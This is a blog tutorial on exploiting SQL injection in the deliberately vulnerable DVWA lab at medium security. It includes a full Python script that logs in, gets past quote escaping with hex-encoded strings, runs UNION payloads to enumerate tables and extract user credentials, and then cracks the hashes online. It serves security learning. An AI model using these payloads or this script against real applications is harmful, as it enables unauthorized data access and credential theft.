What is the best way to learn SQL injection?
This is a very practical article that, If you have the patience to read until the end, will teach you how to write an automated SQL injection exploit in Python for DVWA.
We also see how to turn around the escape function (yes, it’s not sufficient to make an application safe).
I think the best way to learn SQL injection is by putting it into practice.
That’s why, as we did in this article I want to keep trying to exploit DVWA medium security and learn SQL injection.
I also want to show you how to do it manually, in order to understand the entire process better.
In this tutorial, I won’t show the preparation phase, but I’ll take for granted that the reader would have a working DVWA machine.
If you don’t know how to do it, please take a look at the first part here.
Here is the list of all the articles about SQL injection for quick navigation:
In-Band SQL injection
- SQL Injection: What You Need to Know
- Learn SQL injection in practice by hacking vulnerable application!
- How To Hack With SQL Injection Attacks! DVWA low security
- Hack With SQL Injection Attacks! DVWA medium security
- Hack With SQL Injection Attacks! DVWA high security
- Mastering SQL Injection on DVWA Low Security with Burp Suite: A Comprehensive Guide
- Mastering DVWA SQL Injection: Medium Security with Burp Suite
Blind SQL injection
- Blind SQL injection: How To Hack DVWA With Python (Low Security)
- Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
- Blind SQL Injection: How To Hack DVWA With Python (High Security)
Quick overview of the DVWA SQL injection
Before starting, let’s log in, set a medium security level and move to the SQL injection page of DVWA.
This is what we should see:
From this page, it’s obvious that we don’t have free input, so just to have more information, let’s inspect the element’s code (Right-click+Q in Firefox).
We are interested in the form code, and this is what we are seeing:
<form action="#" method="POST">
<p> User ID: <select name="id">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
So the information we can get is that:
- The action links to the page itself
- Unlike the first part, this is a POST request
Now that we have this information we can prepare a detailed action plan.
Probably you can find tons of tutorials online that explain to you how to solve the challenge using Burp Suite. But I want to show you how to get the same result using Python.
I firmly believe that the best way to learn how SQLi works is by really getting your hands dirty!
So I wanna show you how to reach the result just with a simple Python script!
Preparing the environment
Prerequisites are not so much, in addition to having Python 3 on our OS (installed by default on Kali Linux), we must install those libraries:
- BeautifulSoup: library in charge of parsing HTML.
- requests: a library that helps to send HTTP requests.
So we can install all that we need with just this simple line on the terminal:
pip install requests_html
After the end of the dependencies’ installing process, we can finally start to write the code!
How to login DVWA with Python requests?
The first problem we are going to face if we want to work with Python modules is that before playing with SQLi we need to login into the application.
The easiest way would be to use a tool like Burp Suite but that’s not the best way to deeply understand, so let’s try to complete the task by using only our scripting skills!
There are many solutions to the login problem:
- Use a browser automation library like Selenium.
- Copy paste the session cookie in your Python script
- Use Session class from requests
In this tutorial, I would opt for the third one.
The first step Is to take a look at the HTML code of the login page, in particular, we need to understand how the form works.
This is how it appears after code inspection:
<form action="login.php" method="post">
<fieldset>
<label for="user">Username</label>
<input type="text" class="loginInput" size="20" name="username">
<br>
<label for="pass">Password</label>
<input type="password" class="loginInput" autocomplete="off" size="20" name="password">
<br>
<br>
<p class="submit">
<input type="submit" value="Login" name="Login">
</p>
</fieldset>
<input type="hidden" name="user_token" value="5fa49c3b3f753faf6fc7a1c5386ae86f">
</form>
We can collect the information needed to replicate the request:
- The form action is “login.php”
- The method is POST
- The input field for the username has “username” as the name attribute
- The input field for the password has “password” as the name attribute
- There is a CSRF token which has “user_token” as the name attribute
Given this information, we want a method that returns a valid requests session on which we can work!
Before writing it, we need another piece of information: are there some cookies we want to set?
We can check by pressing SHIFT+F9 on Firefox and this should be the result:
So it’s obvious that we must set the security level into cookies, just to make the code more readable we will save all the levels in a global array.
Let’s see the code
security_levels = ["low",
"medium",
"high",
"impossible"]
def login(url, security):
s = requests.Session()
s.cookies.set("security", security_levels[security])
response = s.get(url)
soup = BeautifulSoup(response.text, "html.parser")
user_token = soup.find("input", {"name": "user_token"})
data = {
"username": "admin",
"password": "password",
"Login": "Login",
"user_token": user_token["value"]
}
response = s.post(url, data=data)
return s
The code is making some simple operations:
- It creates a Session object, sets the security cookie, and then makes a GET request to a URL (the URL of the login page).
- It parses the response as HTML, finds the input element with the name attribute “user_token”, and creates a dictionary with the data for the username, password, and user_token.
(Just a quick refresh on the CSRF token; it is a randomly generated value that has to be sent to the action page in order to prove the legitimacy of the request.) - It then makes a POST request to the URL with the data dictionary.
- It returns a valid session we can use for the next requests.
Send the query in the DVWA SQLi section using requests
Now that we have the session, we don’t have to worry about cookies and we can focus all our efforts on the exploit.
As we have seen in the previous article about SQL injection on DVWA, also with level medium, we need to run many queries.
So the best way to avoid code repetition is to define a function for sending a query.
Let’s see the code and then comment on it!
def send_query(query, session):
data = { "id": query,
"Submit": "Submit"
}
response = session.post(sqli_url, data=data)
soup = BeautifulSoup(response.text, "html.parser")
final_result = soup.find("pre")
return final_result
The method is very self-explicative.
- Is a function that submits an SQL query to a website and returns the results.
- The query is submitted as a POST request, with the query string in the “id” parameter.
- The results are returned as a BeautifulSoup object that eventually will be printed.
Prepare the script
The first thing to do for making our job easier is to set some global variables:
- IP address: it very likely changes, so we need a comfortable place where we can change it.
- Security levels: it makes the code more readable
- Query: more than a variable, it is a section. In fact, we need to run different queries, so would be better to put them in a visible place, eventually the idea is to put in this section of the source all the queries to use in the script.
# Cookies for security level
security_levels = ["low",
"medium",
"high",
"impossible"]
# URL section
base_ip = "10.10.91.189"
login_url = f"http://{base_ip}/login.php"
sqli_url = f"http://{base_ip}/vulnerabilities/sqli/"
# Query section
query = "1' OR 1=1 #"
Now we need to write our main, run the script and look at the result, just as a quick test:
def beautify_query_single(query_result):
beautified_query_result = str(query_result).replace('<br/>', '\n'
).replace('<pre>', '').replace('</pre>', '')
return beautified_query_result.splitlines()[2].split(':')[1].strip()
def beautify_query_double(query_result):
beautified_query_result = str(query_result).replace('<br/>', '\n'
).replace('<pre>', '').replace('</pre>', '')
return beautified_query_result.splitlines()[1].split(':')[1] + ' ' \
+ beautified_query_result.splitlines()[2].split(':')[1]
if __name__ == "__main__":
session = login(login_url, 1)
response = session.get(sqli_url)
soup = BeautifulSoup(response.text, "html.parser")
query_result = beautify_query(send_query(query, session))
beautified_query_result = (
query_result.replace("<br/>", "\n").replace("<pre>", "").replace("</pre>", "")
)
print(beautified_query_result)
This is what this piece of code does:
- Logs in to a website using the login URL and username and password with a security level as a medium.
- Accesses the SQLi URL.
- Sends a query to the website.
- Prints the results of the query.
The beautify_query functions just remove HTML tags and format the query_result a bit better.
The single version just returns a single value, the double version returns two values and it’s useful when we want to retrieve the username and password together at the end of the script.
By running the script with the previous query, we get an error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' OR 1=1#' at line 1
The error seems to be on the single quote, it’s escaped and by removing it, everything seems to work correctly.
Run the script and exploit SQLi
Before all we can run the main we have seen previously using the GROUP BY technique in order to know the number of columns involved in the query.
To do that let’s replace the query with:
1 ORDER BY 1 #
1 ORDER BY 2 #
1 ORDER BY 3 #
...
When we get to three, there is an error saying:
Unknown column '3' in 'order clause'
So now we know that there are two columns.
Now we just need to run pretty much the same queries we have seen in the previous article, with just a few modifications.
Information about the Schema
The way we are going to understand the details of the schema is not so different from the previous part.
First of all, we want to define the queries:
query_version = "-1 UNION SELECT 1, VERSION()#"
query_database = "-1 UNION SELECT 1,DATABASE() #"
Then the related part in the main method:
print("The database version is:")
print(beautify_query_single(send_query(query_version, session)[0]))
print()
print("The database name is:")
db_name = beautify_query_single(send_query(query_database, session)[0])
print(db_name)
print()
How To Use Strings Without Quotes in SQL injection attack
As we have seen in the previous tests, the server is probably escaping our quotes, so we need a technique to get around the obstacle.
We have two ways:
- Concat the chars by their ASCII value
- Use decimal representation
Let’s see a quick example of both cases in the case we want to select a password from a table called “users” where the username is “john”:
Classic SQL query:
SELECT password FROM users WHERE username='john'
Same query but with the concatenation of the chars picked by their ASCII value:
SELECT password FROM users WHERE username=CONCAT(CHAR(106),CHAR(111),CHAR(104),CHAR(110))
Finally let’s see the technique we are going to use in this tutorial, the one using hex representation.
SELECT password FROM users WHERE username=0x6a6f686e
Before trying to put into practice what we have just learned, I just want to show you how to convert a string into its hex representation with Python
name = "john"
hex_name = name.encode('utf-8').hex()
With those two simple lines, we have a variable containing the hex representation of “john”. We also must remember that MySQL requires the “0x” prefix, so we need to add it manually!
Get Table Information
During this step, we want to get information about the table of interest and its columns.
The query that would give us the result would be the following one:
-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa';
We have two problems:
- The quotes are escaped, and this query would not work
- The script has to run all at once, so we don’t know the schema name before running the script
We can solve the first problem by replacing the strings with their corresponding hex representation and the second one by using format string and inserting the value at runtime (and then replacing it in our script with the hex representation).
So the Python query variable will be something like this:
query_tables = "-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type=0x62617365207461626c65 AND table_schema=0x{}; #"
The other input has to retrieve the columns’ names following the same principles and should appear like this.
-1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'
The problems are the same:
- We shouldn’t know that the table has “user” as a name
- Quotes are escaped
So even the solutions don’t differ from the previous one and the query variable is like that
query_users_cols = "-1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=0x{} #"
Since the result will be a list for both queries, we want the user to be able to select the values of interest from the standard input in the main.
table_name = input("Type the table name you want\n")
print("\nThe columns' names in users table are:")
for column in send_query(
query_users_cols.format(table_name.encode("utf-8").hex()), session
):
print(beautify_query_single(column))
print ()
You can notice how the table name has been converted into its hex version with the Python method explained before.
Getting Username and Password
We have seen how SQL injection in DVWA with a medium security level introduces some troubles for a beginner. However, the last step should come naturally if you read carefully the article.
Even in this case, we want to insert at runtime the column names we want to show.
So the query variable is the following:
query_users_names = "-1 UNION SELECT {}, {} FROM users #"
And this is the related part in the main:
username, password = input(
"Type username and password column values with comma separator:\n"
).split(",", 1)
print("The users' names and passwords in users table are:")
for user in send_query(
query_users_names.format(username.strip(), password.strip()), session
):
print(beautify_query_double(user))
The code is asking for input from the user in the form of username and password column values with a comma separator. It is then printing out the users’ names and passwords in the users’ table.
The columns’ values are taken from a comma-separated input.
Conclusion
Let’s see the full code and then run it!
import requests
from bs4 import BeautifulSoup
# Cookies for security level
security_levels = ["low", "medium", "high", "impossible"]
# URL section
base_ip = "10.10.35.182"
login_url = f"http://{base_ip}/login.php"
sqli_url = f"http://{base_ip}/vulnerabilities/sqli/"
# Query section
query_version = "-1 UNION SELECT 1, VERSION()#"
query_database = "-1 UNION SELECT 1,DATABASE() #"
query_tables = "-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type=0x62617365207461626c65 AND table_schema=0x{}; #"
query_users_cols = "-1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=0x{} #"
query_users_names = "-1 UNION SELECT {}, {} FROM users #"
def send_query(query, session):
data = {"id": query, "Submit": "Submit"}
response = session.post(sqli_url, data=data)
soup = BeautifulSoup(response.text, "html.parser")
final_result = soup.find_all("pre")
return final_result
def login(url, security):
s = requests.Session()
s.cookies.set("security", security_levels[security])
response = s.get(url)
soup = BeautifulSoup(response.text, "html.parser")
user_token = soup.find("input", {"name": "user_token"})
data = {
"username": "admin",
"password": "password",
"Login": "Login",
"user_token": user_token["value"],
}
response = s.post(url, data=data)
return s
def beautify_query_single(query_result):
beautified_query_result = (
str(query_result)
.replace("<br/>", "\n")
.replace("<pre>", "")
.replace("</pre>", "")
)
return beautified_query_result.splitlines()[2].split(":")[1].strip()
def beautify_query_double(query_result):
beautified_query_result = (
str(query_result)
.replace("<br/>", "\n")
.replace("<pre>", "")
.replace("</pre>", "")
)
return (
beautified_query_result.splitlines()[1].split(":")[1]
+ " "
+ beautified_query_result.splitlines()[2].split(":")[1]
)
if __name__ == "__main__":
session = login(login_url, 1)
response = session.get(sqli_url)
soup = BeautifulSoup(response.text, "html.parser")
print("The database version is:")
print(beautify_query_single(send_query(query_version, session)[0]))
print()
print("The database name is:")
db_name = beautify_query_single(send_query(query_database, session)[0])
print(db_name)
print()
print("The tables' names are:")
for table in send_query(
query_tables.format(db_name.encode("utf-8").hex()), session
):
print(beautify_query_single(table))
print()
table_name = input("Type the table name you want\n")
print("\nThe columns' names in users table are:")
for column in send_query(
query_users_cols.format(table_name.encode("utf-8").hex()), session
):
print(beautify_query_single(column))
print()
username, password = input(
"Type username and password column values with comma separator:\n"
).split(",", 1)
print("The users' names and passwords in users table are:")
for user in send_query(
query_users_names.format(username.strip(), password.strip()), session
):
print(beautify_query_double(user))
Come to this point we can run the script and keep all data we need:
As in the previous level, we need to crack the password. So let’s go again to CrackStation and paste the password of the admin there!
Now we have found that the password is “password “we can complete our tour into SQL injection in the DVWA machine at a medium level.
I hope you understand deeply what we have done and I hope you add a lot of fun by testing this vulnerability. If you liked it, keep following my blog and I would be happy to publish content like this!
See you in the next article!